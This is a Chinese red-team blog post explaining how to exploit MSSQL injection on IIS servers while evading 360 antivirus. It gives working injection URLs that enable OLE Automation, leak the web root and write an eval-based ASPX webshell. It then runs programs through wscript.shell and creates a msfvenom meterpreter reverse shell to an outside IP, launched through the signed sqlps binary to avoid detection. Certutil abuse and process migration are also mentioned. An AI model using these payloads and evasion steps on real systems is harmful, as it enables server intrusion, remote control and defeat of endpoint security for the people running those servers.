Mssql注入繞過360執行命令
0x01 廢話
有時候mssql注入會碰到-os-shell執行不了命令的情況,有可能是因為權限不夠不能開啟xp_cmdshell,還有可能就是殺軟攔截了
常見的只有360會攔截,如果被攔截了就是下面這樣的

0x02 攔截原因
這里用上x64dbg在CreateProcessA和CreateProcessW打上斷點,MSSQL調用的CreateProcessW

可以看到xp_cmdshell是直接使用cmd /c來執行命令的,這攔截的原因和之前的php很相似,不過這里沒有php那么高的操作空間
0x03 寫webshell到網站根目錄
一般來說都是IIS+MSSQL的搭配,MSSQL可以用sp_oacreate來執行一些讀寫功能,因為不調用cmd所以360不會攔截,前提是需要知道網站的根目錄
如果權限夠高可以直接將IIS配置文件404頁面,首先要開啟sp_oacareate這個存儲過程
exec sp_configure 'show advanced options', 1;RECONFIGURE exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
然后用sp_oacreate創建scripting.filesystemobject對象調用copyfile這個方法來實現復制文件
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';
這里的配置文件是IIS7的,路徑是固定的,404的路徑也是固定的,只要權限夠高就可以復制過來
當然如果是國外語言路徑可能會變化

http://192.168.159.128/index.aspx?user_id=1; exec sp_configure 'show advanced options', 1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; declare @o int; exec sp_oacreate 'scripting.filesystemobject', @o out; exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';
然后訪問一個不存在的頁面就可以找到網站根目錄

權限低的話可以用xp_dirtree來找就是有點慢
http://192.168.159.128/index.aspx?user_id=1; CREATE TABLE tmp (dir varchar(8000),num int,num1 int); insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
先創建一個tmp表然后將xp_dirtree的結果輸出到tmp中

在網頁中需要使用注入查表得到結果,如果直接查詢可能會報錯需要轉換一下
http://192.168.159.128/index.aspx?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS) from FoundStone_Bank.dbo.tmp),null,null

MSSQL和MYSQL不同沒有LIMIT需要用where來過濾不想要的結果
http://192.168.159.128/index.aspx?user_id=-1 union select null,null,(select top 1 convert(varchar(100),dir COLLATE Chinese_PRC_CI_AS) from FoundStone_Bank.dbo.tmp WHERE DIR not in (SELECT TOP 1 dir FROM FoundStone_Bank.dbo.tmp)),null,null
類似這樣,前面的top 1不用改,where中的top 從0開始增長就可以,sqlmap也是同種方式
雖然xp_dirtree的方法繁瑣但是還是可以有效的找到絕對路徑,要么網站和數據庫不在同個地方這就辦法了
select host_name(); //主機名 select @@servername; //服務器名 //如果相同則代表數據庫和web在同一臺機器上面
得到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實現寫入webshell,注意有攔截的話上面肯定有360webshell要免殺
http://192.168.159.128/index.aspx?user_id=1; declare @f int,@g int exec sp_oacreate 'Scripting.FileSystemObject',@f output EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\shell.aspx',1 EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
拿到shell了基本是IIS的用戶,這里本來可以直接通過juicypotato提權,但是360不知道從什么時候開始加上了CrteateProcesWithToken的hook就提權不了了。
整理了一下想著mssql本來就是高權限的,只要想辦法用mssql來執行木馬就可以了
0x04 權限提升
說明一下只有mssql2005是直接高權限,這次的測試環境搭建的時候使用管理員啟動的mssql,所以mssql實際的權限取決于網站管理員
在護網中也有碰到過用administrator起mssql的網站管理員,所以下面的方法就是提供一種思路
在網上搜索了一下發現用wscript.shell可以不調用cmd執行程序
declare @o int; exec sp_oacreate 'wscript.shell',@o out; exec sp_oamethod @o,'run',null,'calc';

可以看到在sqlserver的進程中啟動了計算器,但是上傳上去的木馬,運行了就會提示某某程序在入侵sqlserver不讓運行
經過多次測試后發現:
- 在系統目錄中無害的程序是不殺的,像calc,ipconfig,tasklist這些,哪怕復制到別的路徑來也不攔截
- 有數字簽名的
像cmd,powershell啥的在系統目錄中但是也被殺的死死的,還有一個關鍵點,有數字簽名的程序創建的進程要是不可信還是會被攔截,只要檢測到父進程是sqlserver就會殺的特別死。
那么需要找一個有數字簽名的,可以直接加載到內存中的程序就可以上線了,在mssql的目錄中看到了sqlps.exe有點眼熟,找了一下發現最近有篇文章就是關于sqlps的
放棄 powershell? 啟動 sqlps!| 紅隊攻防
可以說是一個功能不全的powershell吧,但是可以直接執行ps1腳本,這樣就不會創建進程導致被殺軟攔截
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.130.4.204 LPORT=60001 -f psh-reflection > shell.ps1
這里要用msf生成的腳本,cs生成會出現問題執行不了。將生成的腳本上傳到服務器,上傳的的方法有很多,可以用遠程下載,也可以像webshell一樣寫入
遠程下載只需要將Certutil.exe重命名,然后放到別的目錄就可以了

http://192.168.159.128/index.aspx?user_id=1; declare @o int; exec sp_oacreate 'wscript.shell',@o out; exec sp_oamethod @o,'run',null,'sqlps -ExecutionPolicy bypass -File c:\windows\temp\shell.ps1';
這樣就上線了,但是到這里還是不能執行命令的,因為本質還是sqlserver下的進程,需要用migrate注入到別的進程內就可以執行命令了
0x05 總結
sqlps直接執行是會被360攔截的,但是由sqlserver創建后執行就不攔截了。
mssql是可以直接修改注冊表啟動項的,當然sqlps修改注冊表也是不會被攔截的,這可能就是有簽名的強大吧。
因為2008操作空間有點小,如果有.net4.0可以用dotnet,csi這些直接將惡意代碼加載進內存。
總的來說需要一個有數字簽名的程序可以直接加載進內存,如果有數字簽名的程序可以直接執行dll,要么存在dll劫持的漏洞,也可以達到上線的目的。
文章來源:奇安信攻防社區(Macchiato)